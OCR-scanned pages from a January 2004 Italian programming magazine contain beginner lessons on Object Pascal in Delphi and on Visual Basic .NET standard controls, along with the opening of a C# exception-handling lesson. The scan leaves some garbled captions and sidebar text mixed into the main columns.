veloci tra quelli disponibili: nel Pascal trovate una 
sintassi meno simbolica del C++ (si usano begin e 
end al posto delle parentesi graffe), c'è una tipizza- 
zione molto forte dei dati che impedisce ai meno 
esperti di scrivere codice problematico, e ci sono 
controlli sull'uso dei puntatori che evitano accessi 
dannosi alla memoria della macchina. 
Tutto questo, per esempio, nel C++ non si trova, al 
punto che per gli esami americani nel 1999 è stata 
adottata una versione "safe" delle specifiche del lin- 
guaggio. Oltre a tutto ciò, l'Object Pascal è il lin- 
guaggio alla base di Delphi, l'ambiente RAD mo- 
derno che consente uno sviluppo facile e veloce di 
applicazioni Windows, senza però rinunciare alla 
flessibilità e alla potenza per i programmatori 
avanzati che si possono raggiungere, per dirne una, 
nel Visual C++. 

L'importanza dell' Object Pascal oggigiorno è anche 
legata al suo utilizzo come una delle possibilità di 
sviluppo sotto Kylix (l'altra è il C++): in questo mo- 
do le proprie competenze di programmatore pos- 
sono essere adattate tranquillamente da una piat- 
taforma (Windows) all'altra (Linux) con pochis- 
sime variazioni. Il che, sommato a tutto il resto, fa 
del Pascal un interessante investimento di studio, 
senza parlare del fatto che i concetti della program- 
mazione su cui si fonda tale linguaggio sottostanno 
comunque anche agli altri linguaggi di grossa diffu- 
sione, quali C, C++, Java, Visual Basic, etc. 



PRIMI ELEMENTI 
DI OBJECT PASCAL 

Cominciamo la nostra avventura con un'occhia- 
ta alla struttura di un programma Object Pascal. 
Il Listato 1 mostra un semplicissimo programma 
con tutti gli elementi di base: la dichiarazione 
program che definisce il nome della nostra appli- 
cazione e fa di questo file il punto di partenza del 




KYLIX E DELPHI 

La Borland ha creato Kylix ad 
immagine e somiglianza di Delphi, 
ma sotto ambiente Linux. La cosa 
interessante è che i due prodotti si 
basano su una stessa libreria (la 
CLX), che gestisce servizi 
applicativi di base e la gestione di 
finestre e componenti grafici. 
Sebbene questa libreria riduca ai 
minimi termini le potenzialità di 



interfacce utente offerte dai due 
sistemi operativi, è anche vero che 
limitandosi all'uso di CLX si creano 
applicativi che possono essere 
compilati indipendentemente 
senza modifiche sia sotto 
Windows che sotto Kylix. Il tutto, 
ovviamente, programmando nello 
stesso linguaggio, che è l'Object 
Pascal! 



progetto. La clausola uses è un modo per inclu- 
dere funzionalità implementate in altri file (in 
questo caso, SysUtils è una libreria di sistema da 
cui recuperiamo le funzioni Now e FormatDate- 
Time usate più in là nel codice). Compare anche 
una direttiva di compilazione {$Apptype Console} 
che fa in modo che il nostro primo programma 
venga eseguito all'interno di una console testua- 
le piuttosto che in ambiente grafico: per concen- 
trarci meglio sulle caratteristiche dell' Object 
Pascal per i primi esempi utilizzeremo sempre 
applicazioni di console... 

Dal listato in questione ho rimosso i commenti 
(li trovate comunque nel codice allegato all'arti- 
colo) per questioni di brevità, ma vi riassumo qui 
i costrutti per crearli: 

• {...}- tutto ciò che sta tra le parentesi è igno- 
rato 

• (*...*)- sinonimo del precedente 

• Il ... - è ignorato tutto dalle barre al finale 
della riga (come in C) 

In fondo al codice riportato nel Listato 1 trovia- 
mo finalmente il programma vero e proprio: si 
tratta del blocco begin . . . end. Questa è la proce- 
dura che corrisponde alla funzione main dei pro- 
grammi in C++ o al metodo main della classe 
principale di un'applicazione Java. È da notare 
che questo blocco, e solo questo, termina con un 
punto (.), mentre tutti gli altri statement del 
Pascal sono separati tra loro da un punto e virgo- 
la (;). 



" D:\WORK Edizioni Master .CorsoDelphi\pril.HelloWorld.eH( 



HELLO UORLD fron Object Pascal* 
Adesso e J 24 novembre 2003 22.59.54 



•Press <Enter> to finish 



Fig. 1: L'esecuzione del nostro primo programma in 
Delphi. 

Non c'è molta logica applicativa nel nostro 
primo esempio: vengono stampati sulla console 
dei messaggi ad opera della procedura Writeln 
che includono la data e ora attuale (ottenuta con 
la funzione Now dell'unità SysUtils, collegata al 
nostro programma dalla clausola uses) formatta- 
te dalla funzione FormatDateTime (anch'essa di 
SysUtils). Lo statement finale Readln attende l'in- 
put di una riga terminata con <enter> da tastiera, 
e fa sì che la console di esecuzione non venga 
subito chiusa al termine dell'esecuzione del 



► 94/Gennaio 2004 



Delphi 



▼ CORSI BASE 



codice. Il risultato di questo esempio in Pascal lo 
vedete nella Fig. 1. 



PROGRAMMI 
E UNITA 

NelFObject Pascal tradizionale, tutti i file di codi- 
ce sorgente vengono memorizzati con l'estensio- 
ne .PAS, mentre in Delphi il programma principa- 
le (quello che contiene lo statement program) fini- 
sce in file con estensione .DPR (Delphi project) e 
deve avere lo stesso nome dell'identificativo dato 
al programma: tutto questo lo potete appunto ri- 
scontrare nel caso di HelloWorld .dpr del Listato 1. 




Fig. 2: II secondo programma di esempio in azione. 



di vista il linguaggio più simile è il Visual Basic, 
che è sia case-insensitive che a formattazione 
libera, mentre Java, C, e C++ - pur permettendo 
libertà di formattazione - sono case- sensitive! 
Torniamo però alla nostra seconda prova: nel 
Listato 2 troviamo solo poche novità. Innanzitut- 
to la clausola uses è corredata dalla parola chiave 
in, che indica il file dove è definita l'unità. Questo 
non è strettamente necessario, perché come ab- 
biamo già detto i nomi dei file dei programmi e 
delle unità devono essere uguali agli identificativi 
degli stessi. Ma scritto così, lo statement fa sì che 
Delphi includa il percorso indicato tra i file del 
progetto corrente (come in Fig. 3) - al di là di que- 
sto, nessuna differenza dal punto di vista del pro- 
grammatore o del compilatore! Oltre a questo, 
notiamo una sezione var, che dichiara le variabili 
che saranno usate nel codice: a differenza del C o 
di Java, non è possibile dichiarare variabili al volo 
quando servono, tutte devono essere dichiarate 
preventivamente nella sezione var come nell'e- 
sempio. 
La dichiarazione in sé e per sé prende la forma: 

<nome>:<tipo>; 




I file .PAS sono utilizzati per le unità, che sono del- 
le parti di codice modulare che vengono riutiliz- 
zate nei programmi o in altre unità ad opera dello 
statement uses: il compilatore Delphi ricerca o il 
codice sorgente di un'unità inclusa o la versione 
compilata della stessa e la linka insieme al pro- 
gramma principale. Proviamo adesso a scrivere 
un secondo programma in Object Pascal che uti- 
lizzi delle funzioni che creeremo in una unità a 
parte. Prima, però, ricordiamo due cose veloci 
riguardo alla stesura del codice: la prima è che il 
linguaggio è case-insensitive, e che quindi scrive- 
re WriteLn o Writeln o writeln è esattamente la 
stessa cosa, e la seconda che la formattazione del 
codice è libera, nel senso che per separare i vari 
elementi sintattici si possono usare combinazioni 
e quantità illimitati di caratteri separatori (spazi, 
tabulazioni, ritorni di linea, etc). Da questo punto 





*l 




& X & 

New Rennove Àctivate 


| Secondi" ry.ewe ^j 




Files Path 


E^ ProjectGroupI C:\Programmi\Borland\Delphi7\Projects 
ÉMJP SecondTry.exe D:\WC 

=■■■■§ FedsUtils.pas D:\W0RK\EdizioniMaster\CorsoDelphi\pri2 



Fig. 3: la keyword in fa includere un file in un 
progetto. 



per cui nel Listato 2 abbiamo due variabili che si 
chiamano numi e num2, entrambe di tipo Integer 
(uguale aJì'int di Java o C). Per concludere, la pro- 
cedura Readln è stata utilizzata con una sintassi 
diversa rispetto al primo programma: qui leggia- 
mo dalla tastiera (variabile predefinita Input) un 
valore dentro la variabile specificata. Inoltre invo- 




DELPHI E OBJECT PASCAL 

Da un punto di vista strettamente formale, è da notare che la Borland ha 
deciso, a partire dalla versione 7 di Delphi, di nominare il linguaggio di 
sviluppo del tool "Delphi" piuttosto che Object Pascal. Questo è lo 
statement della casa produttrice al riguardo di questa questione: 

"Delphi is a high-level, compiled, strongly typed language that supports structured 
and object-oriented design. Based on Object Pascal, its benefits include easy-to- 
read code, quick compilation, and the use of multiple unit files for modular 
programming. 

[...] 

The product also places constraints on program organization that are not, strictly 
speaking, part of the Object Pascal language specification. For example, Borland 
development tools en force certain file- and program-naming conventions thatyou 
can avoid ifyou write your programs outside of the IDE and compile them from 
the command prompt 

[.-] 

Occasionally, however, Delphi-specific rules are distinguished from rules that apply 
to ali Object Pascal programming. " 

Ai fini del nostro corso a puntate, però, possiamo tranquillamente 
ritenere di stare apprendendo il linguaggio Object Pascal. Le differenze a 
cui fa riferimento la Borland non hanno quasi mai a che fare con costrutti 
semantici o sintattici, quanto piuttosto con l'organizzazione e la 
distribuzione del materiale di sviluppo. 



Gennaio 2004/95 ► 




CORSI BASE T 



I 



Delphi 





chiamo due funzioni {DoHeader e DoFooter) che 
sono implementate nell'unità del Listato 3, di cui 
andiamo subito a parlare. 



CODICE MODULARE 
E RIUTILIZZABILE 

Le unità sono state introdotte nella specifica del 
linguaggio Pascal per consentire la creazione di 
porzioni di codice riutilizzabile e facilmente 
mantenibile (compilatale, testabile e gestibile in 
maniera indipendente). Nel caso del nostro 
esempio, due funzioni vengono definite nell'u- 
nità FedsUtils ed utilizzate nel programma Se- 
condTry. Le stesse funzioni le potrò riutilizzare 
tranquillamente in altri progetti, semplicemente 
includendo lo stesso file di unità nei miei nuovi 
lavori (anche nella sua versione compilata, quel- 
la con estensione .DCU). 




CREARE UN PROGETTO DI CONSOLE 



Delphi è un tool di sviluppo 
basato su Windows e sono 
appunto form e finestre che 
vengono create per default 
quando si inizia un nuovo 
progetto. Siccome la creazione di 
applicazioni grafiche richiede una 
comprensione di molti concetti 
legati alla programmazione ad 
oggetti, oltre che una solida 
conoscenza della 
programmazione lineare, e 
proponendoci noi di studiare il 



linguaggio dalle sue fondamenta, 
risulta più semplice iniziare con 
dei progetti di console, dove 
l'attenzione può essere rivolta 
esclusivamente alle 
caratteristiche morfo-sintattiche 
che vengono man mano 
delineate. Per creare dei progetti 
di questo tipo, è sufficiente creare 
un nuovo progetto dal menu File I 
Nuovo I Altro... e selezionare una 
Applicazione Console tra le 
possibilità offerte. 



propri algoritmi (come abbiamo fatto con 
DoHeader e DoFooter nel Listato 2) è sufficiente 
invocarla per nome, come in Visual Basic, C, 
C++, Java, etc. Notate che in Pascal, a differenza 
di C, C++ e Java, non è necessario utilizzare le 
parentesi dopo il nome della routine se questa 
non prevede dei parametri, ma non è un errore 
farlo, per cui richiamare Writeln o WritelnQ è la 
stessa cosa. 



UN'APPLICAZIONE 
UN PO' PIÙ 
COMPLESSA 

Nella prossima parte di questa serie ci occupere- 
mo dei costrutti sintattici più complessi, i cicli 
iterativi e gli statement condizionali, vedremo 
come costruire espressioni in Pascal e parleremo 
dei diversi tipi di dati che il linguaggio offre. Per 
concludere questa parte, invece, diamo una 
breve occhiata a come si può creare un'applica- 
zione Windows con Delphi rapidamente e facil- 
mente, con la speranza che questo sia da stimo- 
lo all'apprendimento di questo linguaggio, che, 
anche se forse un po' demodé, resta uno tra i più 
flessibili e potenti in giro. 



ld*J 



ParseString! ; 



Fig. 4: Un form di applicazione Windows in Delphi. 



Cosa distingue un'unità da un programma? 
Innanzitutto la prima riga di istruzioni, che con- 
terrà la parola chiave unit seguita dall'identifica- 
tivo scelto per il mio modulo. L'unità, poi, si divi- 
de in interface ed implementation. La prima di- 
chiara le varie funzioni e procedure messe a 
disposizione dal codice per chi lo richiama tra- 
mite uses, la seconda invece implementa tali 
funzioni o procedure (che nell'interface sono 
solo dichiarate!) e ne dichiara eventualmente al- 
tre che resteranno visibili comunque solo all'in- 
terno dell'unità stessa. Procedure e funzioni si 
distinguono tra loro per il fatto che le prime non 
ritornano nessun tipo di valore al chiamante, le 
seconde sì. Una procedura si crea con la parola 
chiave procedure, mentre function è utilizzato 
per le funzioni. Il corpo di una è dell'altra si defi- 
nisce con un blocco begin. . . end, eventualmente 
preceduto da una sezione var per la dichiarazio- 
ne di tutte le variabili che la routine usa.Per 
richiamare una procedura o una funzione nei 



All'avvio del di Delphi, avrete a disposizione un 
form vuoto su cui lavorare. Trascinate su questo 
form un pulsante, una casella di testo e due 
label, in un layout simile a quello della Figura 4. 
Fate doppio click sul pulsante appena creato e si 
aprirà l'editor di codice su una funzione creata 
apposta come evento di risposta del click sul 
pulsante. La creazione di applicazioni con fine- 
stre in Delphi è davvero molto veloce ed intuiti- 
va! Nel codice allegato all'articolo troverete il 
progetto StringParse nella cartella prjIDE: è un 
banalissimo esempio di codice Pascal legger- 
mente più avanzato rispetto a quanto visto oggi, 
ma che permette di capire come in 5 minuti si 
possa già mettere in piedi qualcosa di funzio- 
nante. Analizzate un po' il codice che ho scritto e 
cercate di capire cosa può fare prima di vederlo 
in esecuzione. 

Nel prossimo numero sarete in grado di scrivere 
da soli cose ben più sofisticate! 

Federico Mestrone 



* 96/Gennaio 2004 



Visual Basic .NET 



T CORSI BASE 



Picturebox, scrollbar, timer e toolbar 



I Controlli standard 
di VB.IUet 

Si conclude con questa puntata la descrizione dei controlli che 
rappresentano i componenti di base nel disegno di un'applicazione 
WindowsForm. 



In questo appuntamento ci occuperemo del 
controllo che permette di visualizzare dise- 
gni ed immagini sullo schermo {PictureBox); 
dei controlli che permettono di visualizzare 
delle barre di scorrimento {HscrollBar e Vscroll- 
Bar); del controllo che permette di realizzare 
delle semplici animazioni {Timer) e degli ultimi 
controlli utili per migliorare il disegno dell'in- 
terfaccia utente. 



CONTROLLO 
PICTUREBOX 

Non ci stancheremo mai di ripetere quanto sia im- 
portante il corretto disegno di un'interfaccia, ed in 
quest'ottica è buona norma utilizzare un sufficiente 
numero di etichette e d'immagini esplicative, in 
modo da rendere di facile utilizzo e comprensione il 
programma. Per visualizzare un'immagine è possi- 
bile utilizzare il controllo PictureBox (casella imma- 
gine). A differenza di VB6, non può essere usato co- 
me controllo contenitore ed ha perso un po' della 
sua importanza. Per inserire nel controllo un imma- 
gine proveniente da un file, si può utilizzare la pro- 
prietà Image, per questo in fase di progettazione si 
deve: 

• Visualizzare la finestra delle proprietà 

• Cliccare sui tre puntini a destra del campo Image 
in modo da aprire la finestra di dialogo Apri 

• Dalla finestra Apri navigare tra le directory per 
selezionare il file di immagine che si vuole visua- 
lizzare 

• Cliccare due volte sul file desiderato, VB carica 
immediatamente l'immagine nel controllo. 

Utilizzando il metodo FromFile della classe Image si 
può, invece, caricare (oppure eliminare) un'immagi- 
ne dal controllo in fase di esecuzione. 



Possiamo quindi scrivere: 

Private Sub CaricalmmagineQ 

Dim path As String = "c:\MieImmagini\pippo.bmp" 
PictureBoxl.Image = Image.FromFile(path) 

End Sub 

In cui path rappresenta il percorso completo del file 
da caricare. Per cancellare una qualsiasi immagine 
contenuta nel PictureBox, si deve impostare la pro- 
prietà Image senza specificare un nome di file. 

Private Sub CancellalmmagineQ 

PictureBoxl.Image = Nothing 

End Sub 

E' possibile caricare immagini oltre che da file nel 
classico formato bitmap (con estensione BMP) e nel 
formato icona {ICO) anche da metafile (in cui è me- 
morizzata un'immagine rappresentata come insie- 
me di oggetti grafici anziché in pixel), nonché file 
compressi JPEG e GIF e PNG. Tra le altre proprietà 
segnaliamo la proprietà SizeMode utilizzata per 
impostare il tipo di ridimensionamento del control- 
lo. SizeMode consente di centrare o allargare l'imma- 
gine per adattarla al controllo o allargare il controllo 
per adattarlo all'immagine. La proprietà SizeMode 
può assumere quattro diversi valori: 

Normal (Il valore di default). L'immagine viene posi- 
zionata in corrispondenza dell'angolo superiore 
sinistro del controllo, perciò se l'immagine è più 
grande del controllo risulterà tagliata, se invece l'im- 
magine è più piccola del controllo si vedrà l'immagi- 
ne circondata dallo spazio vuoto. 
Stretchlmage. Le dimensioni dell'immagine vengo- 
no adattate alle dimensioni del controllo. 
AutoSize. All'opposto del valore precedente, le 
dimensioni del controllo vengono adattate alle 
dimensioni dell'immagine. 




IMMAGINI 
AL VOLO 

Le immagini caricate 
nei controlli PictureBox 
ed Image, vengono 
salvate insieme al 
form. Per questo, 
quando si crea un file 
.exe, non sarà 
necessario distribuire i 
file delle immagini 
poiché saranno 
memorizzate nel file 
.exe stesso. In fase di 
esecuzione si possono 
caricare immagini 
utilizzando il metodo 
FromFile della classe 
Image, in questo caso è 
necessario distribuire 
anche i file immagine 
con il file eseguibile. 



Gennaio 2004/97 ► 




CORSI BASE T 



I 



Visual Basic .NET 






ICONE 

Per caricare dei file 

icona, è possibile 

avvalersi della libreria 

delle icone inclusa in 

Visual Basic. I file icona 

si trovano nella 

sottodirectory \lcons 

della directory 

principale di Visual 

Basic, generalmente in 

C:\Programmi\ 

Microsoft Visual Studio 

.NET\Common7\Graphic 

sMcons. 



Centerlmage. L'immagine viene centrata all'interno 
del controllo. Se l'immagine risulta più grande del 
controllo, i bordi esterni all'immagine verranno ta- 
gliati. 



HSCROLLBAR 
E VSCROLLBAR 

HscrollBar e VscrollBar sono barre di scorrimento 
identiche, a parte il loro verso. Le barre di scorri- 
mento orizzontali [HscrollBar) possono scorrere 
verso sinistra o verso destra, mentre le barre di scor- 
rimento verticali {VscrollBar) possono scorrere verso 
l'alto o verso il basso. Le barre di scorrimento non 
sono altro che la rappresentazione grafica di un 
intervallo di valori numerici interi, impostando le 
proprietà Minimun e Maximum ai valori desiderati. 
Per default il valore di Minimun è zero mentre il 
valore di Maximum è 100. Per le barre di scorrimen- 
to orizzontali il valore minimo corrisponde con l'e- 
stremo sinistro del controllo mentre il valore massi- 
mo viene raggiunto all'estrema destra del controllo. 
Per le barre verticali il valore minimo viene raggiun- 
to all'estremità superiore del controllo mentre il 
valore massimo si raggiunge all'estremità inferiore. 
Le altre proprietà peculiari delle barre di scorrimen- 
to sono: SmallChange e LargeChange che rappre- 
sentano la variazione di valori che si ottiene cliccan- 
do sulle frecce della barra di scorrimento {Small- 
Change) oppure nell'area al suo interno {Large- 
Change). Per default i valori di SmallChange e Large- 
Change sono pari rispettivamente ad uno e a dieci. 
Per default il cursore della barra di scorrimento vie- 
ne visualizzato in corrispondenza del valore mini- 
mo, per modificarne la posizione è possibile utiliz- 
zare la proprietà Value. Ad esempio per visualizzare 
il cursore al centro del controllo possiamo scrivere il 
codice seguente: 

Private Sub CentraCursoreQ 

HScrollBarl. Value = (HScrollBarl. Maximum 

- Math.Abs(HScrollBarl.Minimum)) / 2 

End Sub 

• La proprietà Value restituisce inoltre il valore 
della barra di scorrimento. 

• L'evento Scroll si attiva quando si clicca sulle 
frecce del controllo, quando si clicca all'interno 
del controllo e mentre si trascina l'indicatore. 

• L'evento ValueChanged viene scatenato ogni- 
qualvolta la proprietà Value cambia, o da codice 
od a causa dell'interazione con l'utente. 

Per avere il riscontro visivo del valore della barra si 
può inserire nella form una label in cui visualizzare 
tale valore, perciò nell'evento Scroll della Scrollbar si 
può scrivere: 



Private Sub HScrollBarl_Scroll(ByVal sender As 

System. Object, ByVal e As System. Windows. Forms. 

ScrollEventArgs) Handles HScrollBarl.Scroll 

Labell.text = HScrollBarl.Value 

End Sub 



IL CONTROLLO TIMER 

Il controllo Timer genera, autonomamente, un 
evento {Tick) con una sequenza prefissata di millise- 
condi. In fase di esecuzione è invisibile all'utente. La 
proprietà peculiare del controllo è la proprietà 
Interval che specifica il numero di millisecondi tra 
due impulsi. Per default il valore di Interval è pari a 
cento. Per abilitare o disabilitare il timer si possono 
utilizzare i metodi Start e Stop, oppure la proprietà 
Enabled. Il valore di Interval è modificabile nella 
finestra delle proprietà e da codice. 

Private Sub Forml_l_oad(ByVal sender As System. Object, 
ByVal e As System .EventArgs) Handles MyBase.Load 
'imposta l'intervallo tra due impulsi pari ad 1 secondo 

Timerl.Interval = 1000 

End Sub 

I controlli timer possono essere utilizzati per genera- 
re delle animazioni oppure per inviare informazioni 
all'utente ad intervalli regolari. Realizziamo ad 
esempio un'applicazione che visualizzi dei semplici 
titoli di coda a scorrimento orizzontale. 
Inseriamo in una form: 

• Un controllo Timer (Timerl) 

• Un'etichetta (LabelTitolo) in cui scrivere, utiliz- 
zando la proprietà Text, il titolo che si vuole vi- 
sualizzare 

Nell'evento Load della Form impostiamo il valore 
della proprietà Interval e facciamo coincidere l'eti- 
chetta con il bordo sinistro della form impostando la 
proprietà Left pari a 0: 

Private Sub Forml_l_oad( ByVal sender As System. Object, 

ByVal e As System .EventArgs) Handles MyBase.Load 

Timerl.Interval = 10 

LabelTitolo.Left = 

End Sub 

Infine nell'evento Tick scriviamo il codice necessa- 
rio a far scorrere l'etichetta 

Private Sub Ti merl_Tick( ByVal sender As System. Object, 

ByVal e As System .EventArgs) Handles Timerl.Tick 

'Per far scorrere l'etichetta verso destra si devono 

'sommare valori positivi alla proprietà left 

LabelTitolo.Left = LabelTitolo.Left + 10 

'se l'etichetta scompare dal form allora deve 



* 98/Gennaio 2004 



Visual Basic .NET 



T CORSI BASE 




Variando il valore di interval si può variare la velo- 
cità di scorrimento del testo, variando invece l'in- 
cremento della proprietà Left, si può amplificare o 
ridurre il movimento a scatto dell'etichetta. 



IL CONTROLLO 
TOOLBAR 

La barra degli strumenti contiene pulsanti grafici 
che corrispondono ad alcune voci di menu dell'ap- 
plicazione, fornendo all'utente un intuitivo e rapido 
metodo di selezione. La Toolbar integra il menu a 
tendina fornendo le scelte di uso più frequente. Una 
possibilità interessante è quella di far comparire dei 
messaggi di spiegazione in corrispondenza dei sin- 
goli pulsanti al passaggio del mouse su di essi. Nella 
realizzazione della Toolbar si deve sempre tener 
presente che lo scopo di tale strumento è di sempli- 
ficare la selezione delle opzioni all'interno di una 
procedura complessa o alquanto articolata, pertan- 
to si deve prestare attenzione a non creare Toolbar 
piene di decine di bottoni. E' ormai una prassi sud- 
dividere un'eventuale Toolbar piena di pulsanti in 
più Toolbar, ciascuna con i pulsanti utili in un deter- 
minato frangente, attivabili settando la proprietà 
Visibile a True o a False secondo i casi. Per associare 
un'immagine ad un pulsante si deve associare un 
controllo ImageList tramite la proprietà ImageList. 
Per modificare l'allineamento del nome del pulsan- 
te rispetto all'immagine del pulsante stesso si può 
utilizzare la proprietà TextAlign. Il controllo è dotato 
di una collezione Buttons. È possibile popolare, de- 
finire l'aspetto ed il funzionamento della collezione 
Buttons in fase di progettazione, per questo si deve 
cliccare sul pulsante con i tre puntini accanto alla 
proprietà Buttons. Si aprirà la finestra di dialogo edi- 
tor dell'insieme ToolBarButton. Dalla finestra di dia- 
logo si deve cliccare sul pulsante aggiungi. È possi- 
bile eliminare i bottoni cliccando sul tasto rimuovi. 
Agendo sui pulsanti con le freccette è possibile 
modificare l'ordine di visualizzazione dei bottoni. 
Infine, nella parte destra della finestra, è possibile 
modificare le proprietà dei pulsanti. Agendo sulla 
proprietà Style si può modificare l'aspetto ed il com- 
portamento del pulsante, i valori possibili sono: 

PushButton: il normale pulsante standard; 
ToggleButton: pulsante che si comporta come un 
CheckBox e rimane incassato una volta che viene 
premuto, finché non si clicca nuovamente su di esso; 



Separatori un pulsante senza alcun funzionamento 
con l'aspetto di uno spazio separatore fisso; 
DropDownButton: un pulsante che presenta al lato 
una freccia rivolta verso il basso, che visualizza un 
menu a discesa a cui è possibile associare un ogget- 
to MainMenu definito nella barra dei componenti 
della form. 



GESTIONE 
DELLA TOOLBAR 

Per programmare il controllo Toolbar, l'unica possi- 
bilità è di scrivere codice nell'evento ButtonClick. 
L'evento ButtonClick viene generato quando l'uten- 
te clicca su un qualsiasi pulsante del controllo Tool- 
bar ed offre l'opportunità di testare il bottone pre- 
muto, valutando la proprietà Button di ToolBarBut- 
tonClickEventArgs. Per questo è sufficiente usare 
un'istruzione Select Case sull'indice del Button sele- 
zionato: 

Private Sub ToolBarl_ButtonClick(ByVal sender As System. 
Object, ByVal e As System. Windows. Forms.ToolBarButton 

ClickEventArgs) Handles ToolBarl.ButtonClick 

Select Case ToolBarl.Buttons.IndexOf(e.Button) 

Case 

'apre la finestra di dialogo Apri 

OpenFileDialogl.ShowDialogQ 

Case 1 

'apre la finestra di dialogo Salva 

SaveFileDialogl.ShowDialogQ 

End Select 

End Sub 



LA BARRA DI STATO 

Il controllo StatusBar viene utilizzato nei form come 
un'area, in genere disposta nella parte inferiore di 
una finestra, nella quale è possibile visualizzare 
diversi tipi di informazioni in un'applicazione. 
Il controllo StatusBar espone una collezione Panels 
che contiene oggetti Panel. Un oggetto Panel è un'a- 
rea della barra che può contenere informazioni su 
un particolare stato dell'applicazione. Prestate 
attenzione: per visualizzare i pannelli occorre impo- 
stare esplicitamente la proprietà ShowPanel a True. 
Per aggiungere pannelli, si deve cliccare sul pulsan- 
te con i tre puntini accanto alla proprietà (insieme) 
Panels in modo da visualizzare la finestra di editor 
dei pannelli. Ogni oggetto Panel espone la proprietà 
Text per definire un testo da visualizzare, la pro- 
prietà ToolTipText che può essere usata per mostra- 
re un testo aggiuntivo quando si passa con il mouse 
sul pulsante, la proprietà Icon per visualizzare un'i- 
cona nel pannello e una proprietà MinWidth che 
imposta la larghezza minima consentita del pannel- 




LA FORMA 
DELLE BARRE 

I controlli HscrollBar e 
VscrollBar non 
gestiscono l'aspetto 
piatto, pertanto non è 
possibile creare barre 
di scorrimento piatte. 



MATEMATICA 

La classe Math 
contiene i metodi per 
eseguire funzioni 
trigonometriche, 
logaritmiche e normali 
funzioni matematiche. 
Abs è un metodo della 
classe Math che 
restituisce il valore 
assoluto del numero 
passato come 
argomento. 



Gennaio 2004/99 U 




CORSI BASE T 



I 



Visual Basic .NET 





saassssajiSS lo. Altre proprietà interessanti sono: 



La proprietà BorderStyle che determina il tipo di 
bordo disegnato intorno all'oggetto Panel 
Può assumere i valori: 

• None. Non viene disegnato alcun bordo attorno 
all'oggetto Panel ed il testo appare come se fosse 
disegnato direttamente sulla form. 

• Sunken. È il valore di default, l'oggetto Panel 
viene disegnato nella forma usuale incassato 
sulla barra di stato. 

• Raìsed. Il pannello appare in rilievo con un bor- 
do tridimensionale sulla barra di stato. 

La proprietà AutoSize imposta il modo in cui deve 
variare la larghezza l'oggetto Panel quando il con- 
trollo viene ridimensionato: 

• None. Il pannello rimane sempre della dimen- 
sione fissata nella proprietà Larghezza Minima e 
non varia quando il controllo viene ridimensio- 
nato. 

• Spring. I pannelli si ridimensionano in maniera 
automatica, proporzionalmente alla dimensio- 
ne della form. 

• Contents. Il pannello si dimensiona in base al 
testo (e all'eventuale icona) in esso contenuto. 

La proprietà Style imposta lo stile del pannello e può 
assumere soltanto due valori: 

• Text. Il pannello può visualizzare soltanto del 
testo e l'eventuale icona specificata nella pro- 
prietà Icon 

• OwnerDraw. È possibile personalizzare l'aspetto 
del pannello all'interno dell'evento Drawltem. 
Ad esempio, si potrebbe utilizzare questa funzio- 
nalità per mostrare un'icona animata o una bar- 
ra di scorrimento. 

Il controllo scatena un evento PanelClick quando 
l'utente effettua un clic su un pannello, mentre non 
esiste più supporto per l'evento PanelDblClick. Per 
programmare il controllo StatusBar in modo da 
rispondere alle selezioni eseguite dell'utente, si può 
utilizzare, al solito, l'istruzione Select Case all'interno 
dell'evento PanelClick. L'evento contiene un argo- 
mento con un riferimento all'oggetto StatusBarPa- 
nel selezionato. Utilizzando questo riferimento, è 
possibile determinare l'indice del pannello selezio- 
nato in modo da specificare il tipo di risposta corri- 
spondente. 



VALORI 
DI TEXTALIGM 

Right. Il testo è 

allineato a destra 

dell'immagine del 

pulsante della barra 

degli strumenti. 

Underneath. Il testo è 

allineato sotto 

l'immagine del 

pulsante della barra 

degli strumenti. 



formazioni visualizzandole in più schede. Le schede 
generalmente contengono altri controlli e possono 
contenere anche immagini. Questo controllo sosti- 
tuisce i controlli TabStrip ed SSTab presenti in VB6. 
Il controllo TabControl espone una collezione Tab- 
Pages che contiene le singole schede rappresentate 
da oggetti TabPage. Come per i precedenti controlli 
è molto semplice definire le schede in fase di pro- 
gettazione, è sufficiente: 

cliccare sul pulsante con i tre puntini accanto alla 
proprietà (insieme) TabPages. Si aprirà la finestra di 
dialogo Editor dell'insieme TabPages. 
Dalla finestra di dialogo si deve cliccare sul pulsante 
aggiungi. È possibile eliminare le schede cliccando 
sul tasto rimuovi. Agendo sui pulsanti con le freccet- 
te è possibile modificare l'ordine di visualizzazione. 
Infine, nella parte destra della finestra è possibile 
modificare le proprietà delle schede. 

Ogni oggetto TabPage espone proprietà che permet- 
tono di modificarne l'aspetto come Text, ForeColor 
ed Imagelndex (l'icona che appare vicino alla sche- 
da). Raramente si presenta la necessità di dover pro- 
grammare questo controllo, alcuni casi si possono 
riscontrare quando si deve: 

• verificare la proprietà Selectedlndex del controllo 
per sapere quale oggetto TabPage è attivo; 

• intercettare l'evento SelectedlndexChanged per 
sapere quando l'utente attiva un'altra scheda; 

• inibire o controllare il passaggio ad una partico- 
lare scheda programmando l'evento Click per 
l'oggetto TabPage corrispondente. 



IL CONTROLLO 
MOTIFYICOM 

Questo nuovo controllo rende più semplice l'inseri- 
mento di un'icona nell'area di stato [tray area) della 
barra delle attività di Windows. Il controllo espone le 
proprietà: 

• Icon indica l'icona che viene visualizzata nell'a- 
rea di stato. 

• Visible per visualizzare o nascondere l'icona nel- 
l'area di stato. 

• Text definisce il ToolTip che viene mostrato 
quando il mouse si trattiene in corrispondenza 
dell'icona. 

• ContextMenu indica il menu di scelta rapida che 
appare quando l'utente seleziona l'icona. 



TABCONTROL 

Il controllo TabControl consente di racchiudere in- 



Per programmare il controllo sono disponibili gli 
eventi di gestione del mouse {Click, DoubleClick, 
MouseDown, MouseUp e MouseMove). 

Luigi Buono 



► 100/Gennaio 2004 



c# 



T CORSI BASE 



Le tecniche base per realizzare codice rob usto 

La gestione 
delle eccezioni 

In questa lezione esamineremo la gestione delle eccezioni con C# 
e .NET, esplorando i meccanismi utili per non farsi cogliere 
impreparati davanti al verificarsi di un'anomalia. 



Per ottenere programmi robusti ed affi- 
dabili, non è sufficiente scrivere del 
codice che funzioni soltanto in condi- 
zioni normali: bisogna anche saper prevedere 
e gestire ogni possibile situazione imprevista. 
Il percorso di esecuzione di un software è 
sempre minato dal verificarsi di condizioni 
eccezionali: spazio su disco esaurito, rete 
congestionata, fonti di dati inaccessibili, per- 
messi di sicurezza non concessi, input dell'u- 
tente formalmente scorretti, impossibilità di 
risolvere alcune dipendenze, e chi più ne ha 
più ne metta. 



PERCHE CONVIENE 



LE ECCEZIONI? 

Immaginiamo che un'applicazione si trovi 
nella necessità di scrivere un file di testo su 
disco. Senza i meccanismi di gestione delle 
